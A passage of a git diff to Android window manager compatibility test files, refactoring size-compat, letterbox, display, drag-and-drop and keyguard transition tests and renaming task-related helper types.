         assertThat(getInitialDisplayAspectRatio()).isLessThan(ACTIVITY_LARGE_MIN_ASPECT_RATIO);
-        runSizeCompatTest(activity, /* resizeRatio= */ 0.5, inSizeCompatModeAfterResize);
-        assertSandboxed(activity, isSandboxed);
-        restoreDisplay(activity);
-        runSizeCompatTest(activity, /* resizeRatio= */ 2, inSizeCompatModeAfterResize);
-        assertSandboxed(activity, isSandboxed);
+
+        mWmState.computeState();
+        WindowManagerState.DisplayContent originalDC = mWmState.getDisplay(DEFAULT_DISPLAY);
+
+        runSizeCompatTest(activity, WINDOWING_MODE_FULLSCREEN, resizeRatio,
+                inSizeCompatModeAfterResize);
+        assertSandboxedByProvidesMaxBounds(activity, isSandboxed);
     }
 
-    private void assertSandboxed(ComponentName activityName, boolean expectedSandboxed) {
+    /**
+     * Similar to {@link #runSizeCompatModeSandboxTest(ComponentName, boolean)}, but the
+     * activity is put into letterbox mode after resizing the display.
+     *
+     * @param activityName the activity under test
+     * @param isSandboxed  when {@code true}, {@link android.app.WindowConfiguration#getMaxBounds()}
+     *                     are sandboxed to the activity bounds. Otherwise, they inherit the
+     *                     DisplayArea bounds
+     */
+    private void runLetterboxSandboxTest(ComponentName activityName, boolean isSandboxed) {
+        assertThat(getInitialDisplayAspectRatio()).isLessThan(ACTIVITY_LARGE_MIN_ASPECT_RATIO);
+        // Initialize display to portrait orientation.
+        final RotationSession rotationSession = createManagedRotationSession();
+        Size originalDisplaySize = mDisplayMetricsSession.getInitialDisplayMetrics().getSize();
+        if (originalDisplaySize.getHeight() < originalDisplaySize.getWidth()) {
+            // Device is landscape
+            rotationSession.set(ROTATION_90);
+        } else if (originalDisplaySize.getHeight() == originalDisplaySize.getWidth()) {
+            // Device is square, so skip this test case (portrait activity will never be
+            // letterboxed)
+            return;
+        }
+
+        // Launch portrait activity
+        launchActivity(activityName, WINDOWING_MODE_FULLSCREEN);
+
+        // Change display to landscape should force portrait resizeable activity into letterbox.
+        changeDisplayAspectRatioAndWait(activityName, /* aspectRatio= */ 2);
+        assertSandboxedByProvidesMaxBounds(activityName, isSandboxed);
+    }
+
+    private void assertSandboxedByBounds(ComponentName activityName, boolean isSandboxed) {
         mWmState.computeState(new WaitForValidActivityState(activityName));
         final WindowManagerState.Activity activity = mWmState.getActivity(activityName);
         assertNotNull(activity);
@@ -492,17 +614,32 @@
         final Rect maxBounds = activity.getMaxBounds();
         WindowManagerState.DisplayArea tda = mWmState.getTaskDisplayArea(activityName);
         assertNotNull(tda);
-        if (expectedSandboxed) {
+        if (isSandboxed) {
             assertEquals(
-                    "The Window has max bounds sandboxed to the window bounds",
+                    "The window has max bounds sandboxed to the window bounds",
                     activityBounds, maxBounds);
         } else {
             assertEquals(
-                    "The Window is not sandboxed, with max bounds reflecting the DisplayArea",
+                    "The window is not sandboxed, with max bounds reflecting the DisplayArea",
                     tda.getBounds(), maxBounds);
         }
     }
 
+    private void assertSandboxedByProvidesMaxBounds(ComponentName activityName, boolean isSandboxed) {
+        mWmState.computeState(new WaitForValidActivityState(activityName));
+        final WindowManagerState.Activity activity = mWmState.getActivity(activityName);
+        assertNotNull(activity);
+        if (isSandboxed) {
+            assertTrue(
+                    "The window should have max bounds sandboxed to the window bounds",
+                    activity.providesMaxBounds());
+        } else {
+            assertFalse(
+                    "The window should not be sandboxed; max bounds should reflect the DisplayArea",
+                    activity.providesMaxBounds());
+        }
+    }
+
     private class ConstrainDisplayApisFlagsSession implements AutoCloseable {
         private Properties mInitialProperties;
 
@@ -557,58 +694,30 @@
     }
 
     /**
-     * Launches the provided activity twice. The first time, the display is resized to a portrait
-     * aspect ratio. The second time, the display is resized to a landscape aspect ratio.
+     * Launches the provided activity and verifies that its min aspect ratio is equal to {@code
+     * expected}.
      *
      * @param activity the activity under test.
-     * @param expected the expected aspect ratio in both portrait and landscape displays.
+     * @param expected the expected min aspect ratio in both portrait and landscape displays.
      */
     private void runMinAspectRatioTest(ComponentName activity, float expected) {
-        runMinAspectRatioTest(activity, expected, /* useAppBoundsInPortrait= */ true);
-    }
-
-    /**
-     * Launches the provided activity twice. The first time, the display is resized to a portrait
-     * aspect ratio. The second time, the display is resized to a landscape aspect ratio.
-     *
-     * @param activity               the activity under test.
-     * @param expected               the expected aspect ratio in both a portrait and a landscape
-     *                               display.
-     * @param useAppBoundsInPortrait whether to use {@code activity#getAppBounds} rather than
-     *                               {@code activity.getBounds} in portrait display.
-     */
-    private void runMinAspectRatioTest(ComponentName activity, float expected,
-            boolean useAppBoundsInPortrait) {
-        // Change the aspect ratio of the display to something that is smaller than all the aspect
-        // ratios used throughout those tests but still portrait. This ensures we're using
-        // enforcing aspect ratio behaviour within orientation.
-        // NOTE: using a smaller aspect ratio (e.g., 1.2) might cause activities to have a landscape
-        // window because of insets.
-        mDisplayMetricsSession.changeAspectRatio(SIZE_COMPAT_DISPLAY_ASPECT_RATIO,
-                ORIENTATION_PORTRAIT);
         launchActivity(activity);
+        WindowManagerState.Activity activityContainer = mWmState.getActivity(activity);
+        assertNotNull(activityContainer);
         assertEquals(expected,
-                getActivityAspectRatio(activity, /* useAppBounds= */ useAppBoundsInPortrait),
-                FLOAT_EQUALITY_DELTA);
-
-        // Change the orientation of the display to landscape. In this case we should see
-        // fixed orientation letterboxing and the aspect ratio should be applied there.
-        mDisplayMetricsSession.changeAspectRatio(SIZE_COMPAT_DISPLAY_ASPECT_RATIO,
-                ORIENTATION_LANDSCAPE);
-        launchActivity(activity);
-        assertEquals(expected,
-                getActivityAspectRatio(activity, /* useAppBounds= */ true),
+                activityContainer.getMinAspectRatio(),
                 FLOAT_EQUALITY_DELTA);
     }
 
     /**
-     * Restore the display size and ensure configuration changes are complete.
+     * Wait for the display to be restored to the original display content.
      */
-    private void restoreDisplay(ComponentName activity) {
-        final Rect originalTaskBounds = mWmState.getTaskByActivity(activity).getBounds();
-        mDisplayMetricsSession.restoreDisplayMetrics();
-        // Ensure configuration changes are complete after resizing the display.
-        waitForTaskBoundsChanged(activity, originalTaskBounds);
+    private void waitForRestoreDisplay(WindowManagerState.DisplayContent originalDisplayContent) {
+        mWmState.waitForWithAmState(wmState -> {
+            mDisplayMetricsSession.restoreDisplayMetrics();
+            WindowManagerState.DisplayContent dc = mWmState.getDisplay(DEFAULT_DISPLAY);
+            return dc.equals(originalDisplayContent);
+        }, "waiting for display to be restored");
     }
 
     /**
@@ -616,35 +725,46 @@
      */
     private void resizeDisplay(ComponentName activity, double sizeRatio) {
         Size originalDisplaySize = mDisplayMetricsSession.getInitialDisplayMetrics().getSize();
-        final Rect originalTaskBounds = mWmState.getTaskByActivity(activity).getBounds();
+        final Rect originalBounds = mWmState.getActivity(activity).getBounds();
         mDisplayMetricsSession.changeDisplayMetrics(sizeRatio, /* densityRatio= */ 1);
         mWmState.computeState(new WaitForValidActivityState(activity));
 
         Size currentDisplaySize = mDisplayMetricsSession.getDisplayMetrics().getSize();
         assumeFalse("If a display size is capped, resizing may be a no-op",
-            originalDisplaySize.equals(currentDisplaySize));
+                originalDisplaySize.equals(currentDisplaySize));
 
         // Ensure configuration changes are complete after resizing the display.
-        waitForTaskBoundsChanged(activity, originalTaskBounds);
+        waitForActivityBoundsChanged(activity, originalBounds);
+    }
+
+    /**
+     * Resize the display to given aspect ratio in landscape orientation, and ensure configuration
+     * changes are complete.
+     */
+    private void changeDisplayAspectRatioAndWait(ComponentName activity, double aspectRatio) {
+        mWmState.computeState(new WaitForValidActivityState(activity));
+        Size originalDisplaySize = mDisplayMetricsSession.getInitialDisplayMetrics().getSize();
+        final Rect originalBounds = mWmState.getActivity(activity).getBounds();
+        mDisplayMetricsSession.changeAspectRatio(aspectRatio,
+                /* orientation= */ ORIENTATION_LANDSCAPE);
+        mWmState.computeState(new WaitForValidActivityState(activity));
+
+        Size currentDisplaySize = mDisplayMetricsSession.getDisplayMetrics().getSize();
+        assumeFalse("If a display size is capped, resizing may be a no-op",
+                originalDisplaySize.equals(currentDisplaySize));
+
+        // Ensure configuration changes are complete after resizing the display.
+        waitForActivityBoundsChanged(activity, originalBounds);
     }
 
     /**
      * Waits until the given activity has updated task bounds.
      */
-    private void waitForTaskBoundsChanged(ComponentName activityName, Rect priorTaskBounds) {
+    private void waitForActivityBoundsChanged(ComponentName activityName, Rect priorActivityBounds) {
         mWmState.waitForWithAmState(wmState -> {
-            WindowManagerState.ActivityTask task = wmState.getTaskByActivity(activityName);
-            return task != null && !task.getBounds().equals(priorTaskBounds);
-        }, "checking task bounds updated");
-    }
-
-    private float getActivityAspectRatio(ComponentName componentName, boolean useAppBounds) {
-        WindowManagerState.Activity activity = mWmState.getActivity(componentName);
-        assertNotNull(activity);
-        Rect bounds = useAppBounds ? activity.getAppBounds() : activity.getBounds();
-        assertNotNull(bounds);
-        return Math.max(bounds.height(), bounds.width())
-                / (float) (Math.min(bounds.height(), bounds.width()));
+            WindowManagerState.Activity activity = wmState.getActivity(activityName);
+            return activity != null && !activity.getBounds().equals(priorActivityBounds);
+        }, "checking activity bounds updated");
     }
 
     private float getInitialDisplayAspectRatio() {
@@ -654,10 +774,16 @@
     }
 
     private void launchActivity(ComponentName activity) {
+        launchActivity(activity, WINDOWING_MODE_FULLSCREEN);
+    }
+
+    private void launchActivity(ComponentName activity, int windowingMode) {
         getLaunchActivityBuilder()
                 .setDisplayId(DEFAULT_DISPLAY)
                 .setTargetActivity(activity)
+                .setWindowingMode(windowingMode)
                 .setUseInstrumentation()
+                .allowMultipleInstances(false)
                 .execute();
     }
 
@@ -677,10 +803,13 @@
     public static class ResizeablePortraitActivity extends FocusableActivity {
     }
 
-    public static class ResizeableLargeAspectRatioActivity extends FocusableActivity {
+    public static class NonResizeablePortraitActivity extends FocusableActivity {
     }
 
-    public static class NonResizeablePortraitActivity extends FocusableActivity {
+    public static class NonResizeableLandscapeActivity extends FocusableActivity {
+    }
+
+    public static class NonResizeableNonFixedOrientationActivity extends FocusableActivity {
     }
 
     public static class NonResizeableAspectRatioActivity extends FocusableActivity {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
index 28be6e7..ed131b1 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
@@ -36,7 +36,7 @@
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.Presubmit;
-import android.server.wm.WindowManagerState.ActivityTask;
+import android.server.wm.WindowManagerState.Task;
 import android.util.Log;
 import android.view.Display;
 
@@ -173,7 +173,7 @@
     }
 
     private Point getWindowCenter(ComponentName name) throws Exception {
-        final ActivityTask sideTask = mWmState.getTaskByActivity(name);
+        final Task sideTask = mWmState.getTaskByActivity(name);
         Rect bounds = sideTask.getBounds();
         if (bounds != null) {
             return new Point(bounds.centerX(), bounds.centerY());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
index 79d9e6d..39fbc6f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
@@ -28,6 +28,7 @@
 import static android.server.wm.DialogFrameTestActivity.TEST_OVER_SIZED_DIMENSIONS;
 import static android.server.wm.DialogFrameTestActivity.TEST_OVER_SIZED_DIMENSIONS_NO_LIMITS;
 import static android.server.wm.DialogFrameTestActivity.TEST_WITH_MARGINS;
+import static android.view.WindowInsets.Type.captionBar;
 
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
@@ -249,12 +250,14 @@
     private Insets getActivitySystemInsets() {
         getInstrumentation().waitForIdleSync();
         getInstrumentation().runOnMainSync(() -> {
+            // Excluding caption bar from system bars to fix freeform windowing mode test failures.
+            // Non-freeform windowing modes will not be affected due to having zero caption bar.
             final Insets insets = mDialogTestActivity
                 .getActivity()
                 .getWindow()
                 .getDecorView()
                 .getRootWindowInsets()
-                .getInsets(WindowInsets.Type.systemBars());
+                .getInsets(WindowInsets.Type.systemBars() & ~captionBar());
             mContentInsets = Insets.of(insets.left, insets.top, insets.right, insets.bottom);
       });
       return mContentInsets;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayAreaPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayAreaPolicyTests.java
index 04e8c74..7dd3d2b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplayAreaPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayAreaPolicyTests.java
@@ -24,6 +24,7 @@
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.WindowManagerState.DisplayArea;
 import android.server.wm.WindowManagerState.DisplayContent;
+import android.view.Display;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -52,14 +53,21 @@
         mDisplays = mWmState.getDisplays();
     }
 
+    private boolean isTrustedDisplay(DisplayContent displayContent) {
+        return (displayContent.getFlags() & Display.FLAG_TRUSTED) != 0;
+    }
+
     /**
-     * DisplayContent should have feature id of FEATURE_ROOT. It should not be organized.
+     * DisplayContent should have feature id of FEATURE_ROOT. It should be organized.
      */
     @Test
     public void testDisplayContent() {
         for (DisplayContent displayContent : mDisplays) {
             assertThat(displayContent.getFeatureId()).isEqualTo(FEATURE_ROOT);
-            assertThat(displayContent.isOrganized()).isFalse();
+            // DisplayAreaOrganizerController registers the organizer for the trusted displays only.
+            if (isTrustedDisplay(displayContent)) {
+                assertThat(displayContent.isOrganized()).isTrue();
+            }
         }
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
index 28608d0..a19c0fa 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
@@ -25,6 +25,7 @@
 import static android.server.wm.DisplayCutoutTests.TestActivity.EXTRA_ORIENTATION;
 import static android.server.wm.DisplayCutoutTests.TestDef.Which.DISPATCHED;
 import static android.server.wm.DisplayCutoutTests.TestDef.Which.ROOT;
+import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
 import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
 import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_DEFAULT;
@@ -54,7 +55,6 @@
 import android.content.pm.PackageManager;
 import android.graphics.Insets;
 import android.graphics.Path;
-import android.graphics.Point;
 import android.graphics.Rect;
 import android.os.Bundle;
 import android.platform.test.annotations.Presubmit;
@@ -527,14 +527,9 @@
                 new Intent().putExtra(EXTRA_CUTOUT_MODE, cutoutMode)
                         .putExtra(EXTRA_ORIENTATION, orientation));
         PollingCheck.waitFor(activity::hasWindowFocus);
-        PollingCheck.waitFor(() -> {
-            final Rect appBounds = getAppBounds(activity);
-            final Point displaySize = new Point();
-            activity.getDisplay().getRealSize(displaySize);
-            // During app launch into a different rotation, we have temporarily have the display
-            // in a different rotation than the app itself. Wait for this to settle.
-            return (appBounds.width() > appBounds.height()) == (displaySize.x > displaySize.y);
-        });
+        final WindowManagerStateHelper wmState = new WindowManagerStateHelper();
+        wmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+        wmState.waitForDisplayUnfrozen();
         return activity;
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayHashManagerTest.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayHashManagerTest.java
index 2c70edc..366f4dd 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplayHashManagerTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayHashManagerTest.java
@@ -267,7 +267,10 @@
         generateDisplayHash(null);
 
         mInstrumentation.runOnMainSync(() -> {
-            windowParams.x = -mTestViewSize.x;
+            int[] mainViewLocationOnScreen = new int[2];
+            mMainView.getLocationOnScreen(mainViewLocationOnScreen);
+
+            windowParams.x = -mTestViewSize.x - mainViewLocationOnScreen[0];
             wm.updateViewLayout(mMainView, windowParams);
         });
         mInstrumentation.waitForIdleSync();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
index bd415bf..2b5073a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
@@ -29,7 +29,6 @@
 
 import android.content.Context;
 import android.content.res.Configuration;
-import android.hardware.display.DisplayManager;
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.WindowManagerState.DisplayContent;
 import android.util.Size;
@@ -124,13 +123,13 @@
 
         // Check that activity is on the right display.
         final int frontStackId = mWmState.getFrontRootTaskId(DEFAULT_DISPLAY);
-        final WindowManagerState.ActivityTask frontStack =
+        final WindowManagerState.Task frontStack =
                 mWmState.getRootTask(frontStackId);
         assertEquals("Launched activity must be resumed",
                 getActivityName(TEST_ACTIVITY), frontStack.mResumedActivity);
         assertEquals("Front stack must be on the default display",
                 DEFAULT_DISPLAY, frontStack.mDisplayId);
-        mWmState.assertFocusedStack("Focus must be on the default display", frontStackId);
+        mWmState.assertFocusedRootTask("Focus must be on the default display", frontStackId);
     }
 
     @Test
@@ -165,8 +164,8 @@
 
         // Apply new override values that don't match the physical metrics.
         final Size overrideSize = new Size(
-                (int) (originalDisplayMetrics.physicalSize.getWidth() * 1.5),
-                (int) (originalDisplayMetrics.physicalSize.getHeight() * 1.5));
+                (int) (originalDisplayMetrics.physicalSize.getWidth() * 0.9),
+                (int) (originalDisplayMetrics.physicalSize.getHeight() * 0.9));
         final Integer overrideDensity = (int) (originalDisplayMetrics.physicalDensity * 1.1);
         displayMetricsSession.overrideDisplayMetrics(overrideSize, overrideDensity);
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DragDropTest.java b/tests/framework/base/windowmanager/src/android/server/wm/DragDropTest.java
index 78ff7a7..add17a9 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DragDropTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DragDropTest.java
@@ -17,6 +17,7 @@
 package android.server.wm;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
@@ -318,7 +319,7 @@
     @Before
     public void setUp() throws InterruptedException {
         assumeFalse(isWatchDevice());
-        mActivity = startActivity(DragDropActivity.class);
+        mActivity = startActivityInWindowingMode(DragDropActivity.class, WINDOWING_MODE_FULLSCREEN);
 
         mStartReceived = new CountDownLatch(1);
         mEndReceived = new CountDownLatch(1);
@@ -714,7 +715,8 @@
     @Test
     public void testSoftwareCanvas() throws InterruptedException {
         SoftwareCanvasDragDropActivity activity =
-                startActivity(SoftwareCanvasDragDropActivity.class);
+                startActivityInWindowingMode(SoftwareCanvasDragDropActivity.class,
+                        WINDOWING_MODE_FULLSCREEN);
         assertDragCanvasHwAcceleratedState(activity, false);
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/FreeformWindowingModeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/FreeformWindowingModeTests.java
index 40bfcc6..b2b0b24 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/FreeformWindowingModeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/FreeformWindowingModeTests.java
@@ -29,7 +29,7 @@
 
 import android.graphics.Rect;
 import android.platform.test.annotations.Presubmit;
-import android.server.wm.WindowManagerState.ActivityTask;
+import android.server.wm.WindowManagerState.Task;
 import android.view.Display;
 
 import org.junit.Test;
@@ -88,9 +88,8 @@
 
         mWmState.computeState(TEST_ACTIVITY);
 
-        final ActivityTask testActivityTask =
-                mWmState.getTaskByActivity(TEST_ACTIVITY);
-        Rect expectedBounds = testActivityTask.getBounds();
+        final Task testTask = mWmState.getTaskByActivity(TEST_ACTIVITY);
+        Rect expectedBounds = testTask.getBounds();
         mBroadcastActionTrigger.doAction(TEST_ACTIVITY_ACTION_FINISH_SELF);
         mWmState.waitFor((wmState) ->
                         !wmState.containsActivity(TEST_ACTIVITY),
@@ -100,10 +99,9 @@
 
         mWmState.computeState(NON_RESIZEABLE_ACTIVITY);
 
-        final ActivityTask nonResizeableActivityTask =
-                mWmState.getTaskByActivity(NON_RESIZEABLE_ACTIVITY);
+        final Task nonResizeableTask = mWmState.getTaskByActivity(NON_RESIZEABLE_ACTIVITY);
 
-        if (nonResizeableActivityTask.isFullscreen()) {
+        if (nonResizeableTask.isFullscreen()) {
             // If the task is on the fullscreen stack, then we know that it will have bounds that
             // fill the entire display.
             return;
@@ -111,7 +109,7 @@
 
         // If the task is not on the fullscreen stack, then compare the task bounds to the display
         // bounds.
-        assertEquals(expectedBounds, nonResizeableActivityTask.getBounds());
+        assertEquals(expectedBounds, nonResizeableTask.getBounds());
     }
 
     @Test
@@ -127,8 +125,8 @@
             return;
         }
 
-        final int displayId = mWmState.getStandardStackByWindowingMode(
-                WINDOWING_MODE_FREEFORM).mDisplayId;
+        final int displayId = mWmState.getStandardRootTaskByWindowingMode(WINDOWING_MODE_FREEFORM)
+                .mDisplayId;
         final int densityDpi =
                 mWmState.getDisplay(displayId).getDpi();
         final int testTaskSize1 = dpToPx(TEST_TASK_SIZE_DP_1, densityDpi);
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/HostActivity.java b/tests/framework/base/windowmanager/src/android/server/wm/HostActivity.java
similarity index 65%
rename from tests/framework/base/windowmanager/app/src/android/server/wm/app/HostActivity.java
rename to tests/framework/base/windowmanager/src/android/server/wm/HostActivity.java
index 4a365a3..318e1e6 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/HostActivity.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/HostActivity.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2020 The Android Open Source Project
+ * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,14 +14,14 @@
  * limitations under the License.
  */
 
-package android.server.wm.app;
+package android.server.wm;
 
+import static android.server.wm.app.Components.RenderService.BROADCAST_EMBED_CONTENT;
+import static android.server.wm.app.Components.RenderService.EXTRAS_BUNDLE;
+import static android.server.wm.app.Components.RenderService.EXTRAS_DISPLAY_ID;
+import static android.server.wm.app.Components.RenderService.EXTRAS_HOST_TOKEN;
+import static android.server.wm.app.Components.RenderService.EXTRAS_SURFACE_PACKAGE;
 import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_ON_MOTIONEVENT_DELAY_MS;
-import static android.server.wm.app.RenderService.BROADCAST_EMBED_CONTENT;
-import static android.server.wm.app.RenderService.EXTRAS_BUNDLE;
-import static android.server.wm.app.RenderService.EXTRAS_DISPLAY_ID;
-import static android.server.wm.app.RenderService.EXTRAS_HOST_TOKEN;
-import static android.server.wm.app.RenderService.EXTRAS_SURFACE_PACKAGE;
 
 import android.app.Activity;
 import android.content.BroadcastReceiver;
@@ -32,15 +32,18 @@
 import android.content.ServiceConnection;
 import android.os.Bundle;
 import android.os.IBinder;
-import android.view.SurfaceControlViewHost.SurfacePackage;
+import android.view.SurfaceControlViewHost;
 import android.view.SurfaceHolder;
 import android.view.SurfaceView;
 import android.view.ViewGroup;
 import android.widget.RelativeLayout;
 
+import java.util.concurrent.CountDownLatch;
+
+
 public class HostActivity extends Activity implements SurfaceHolder.Callback{
     private SurfaceView mSurfaceView;
-
+    public CountDownLatch mEmbeddedViewAttachedLatch =  new CountDownLatch(1);
     private ServiceConnection mConnection = new ServiceConnection() {
         @Override
         public void onServiceConnected(ComponentName name, IBinder service) {}
@@ -49,13 +52,14 @@
         public void onServiceDisconnected(ComponentName className) {}
     };
 
-    private BroadcastReceiver receiver = new BroadcastReceiver() {
+    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
         @Override
         public void onReceive(Context context, Intent intent) {
-            SurfacePackage surfacePackage =
+            SurfaceControlViewHost.SurfacePackage surfacePackage =
                     intent.getParcelableExtra(EXTRAS_SURFACE_PACKAGE);
             if (surfacePackage != null) {
                 mSurfaceView.setChildSurfacePackage(surfacePackage);
+                mEmbeddedViewAttachedLatch.countDown();
             }
         }
     };
@@ -64,9 +68,8 @@
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
 
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(BROADCAST_EMBED_CONTENT);
-        registerReceiver(receiver, filter);
+        IntentFilter filter = new IntentFilter(BROADCAST_EMBED_CONTENT);
+        registerReceiver(mReceiver, filter);
 
         final RelativeLayout content = new RelativeLayout(this);
         mSurfaceView = new SurfaceView(this);
@@ -81,20 +84,21 @@
 
     @Override
     protected void onPause() {
-        unregisterReceiver(receiver);
+        unregisterReceiver(mReceiver);
         super.onPause();
     }
 
     @Override
     public void surfaceCreated(SurfaceHolder holder) {
-        Intent mIntent =  new Intent(this, RenderService.class);
-        Bundle b = new Bundle();
-        b.putBinder(EXTRAS_HOST_TOKEN, mSurfaceView.getHostToken());
-        b.putInt(EXTRAS_DISPLAY_ID, getDisplay().getDisplayId());
-        b.putInt(EXTRA_ON_MOTIONEVENT_DELAY_MS,
-                getIntent().getIntExtra(EXTRA_ON_MOTIONEVENT_DELAY_MS, 2000));
-        mIntent.putExtra(EXTRAS_BUNDLE, b);
-        bindService(mIntent, mConnection, Context.BIND_AUTO_CREATE|Context.BIND_IMPORTANT);
+        Intent mIntent = new Intent();
+        mIntent.setComponent(new ComponentName(
+                "android.server.wm.app", "android.server.wm.app.RenderService"));
+        Bundle bundle = new Bundle();
+        bundle.putBinder(EXTRAS_HOST_TOKEN, mSurfaceView.getHostToken());
+        bundle.putInt(EXTRAS_DISPLAY_ID, getDisplay().getDisplayId());
+        bundle.putInt(EXTRA_ON_MOTIONEVENT_DELAY_MS, 10000);
+        mIntent.putExtra(EXTRAS_BUNDLE, bundle);
+        bindService(mIntent, mConnection, Context.BIND_AUTO_CREATE | Context.BIND_IMPORTANT);
     }
 
     @Override
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
index c6c277c..b585c04 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
@@ -30,6 +30,7 @@
 import static android.server.wm.app.Components.WALLPAPAER_ACTIVITY;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
@@ -38,6 +39,9 @@
 import org.junit.Before;
 import org.junit.Test;
 
+import java.util.Arrays;
+import java.util.List;
+
 /**
  * Build/Install/Run:
  *     atest CtsWindowManagerDeviceTestCases:KeyguardTransitionTests
@@ -50,19 +54,25 @@
     @Override
     public void setUp() throws Exception {
         super.setUp();
-
+        assumeFalse(ENABLE_SHELL_TRANSITIONS);
         assumeTrue(supportsInsecureLock());
         assumeFalse(isUiModeLockedToVrHeadset());
     }
 
     @Test
     public void testUnlock() {
+        List<String> expectedTransitionList = Arrays.asList(TRANSIT_KEYGUARD_GOING_AWAY,
+                TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER);
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
         launchActivity(DISABLE_PREVIEW_ACTIVITY);
         lockScreenSession.gotoKeyguard().unlockDevice();
         mWmState.computeState(DISABLE_PREVIEW_ACTIVITY);
-        assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_GOING_AWAY,
-                mWmState.getDefaultDisplayLastTransition());
+        // The AOSP flow is checking if the current transit is TRANSIT_KEYGUARD_GOING_AWAY and
+        // if the visible apps have FLAG_SHOW_WALLPAPER and if both conditions are true the transit
+        // will be changed to TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER. For multiple screen devices,
+        // both conditions are true, because the launcher is visible and has this flag.
+        assertTrue("Picked wrong transition",
+                expectedTransitionList.contains(mWmState.getDefaultDisplayLastTransition()));
     }
 
     @Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/LayoutTests.java b/tests/framework/base/windowmanager/src/android/server/wm/LayoutTests.java
index 3a10984..296d7b4 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/LayoutTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/LayoutTests.java
@@ -155,7 +155,8 @@
                             }
                         }
                     });
-            activity.addWindow(view, new LayoutParams());
+            // Use a sub window type so the test is robust when remote inset controller is used.
+            activity.addWindow(view, new LayoutParams(TYPE_APPLICATION_PANEL));
         });
 
         // Wait for the possible failure.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MinimalPostProcessingTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MinimalPostProcessingTests.java
index 5946a18..d468092 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MinimalPostProcessingTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MinimalPostProcessingTests.java
@@ -24,10 +24,12 @@
 import static android.server.wm.app.Components.MinimalPostProcessingActivity.EXTRA_PREFER_MPP;
 import static android.server.wm.app.Components.POPUP_MPP_ACTIVITY;
 
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotEquals;
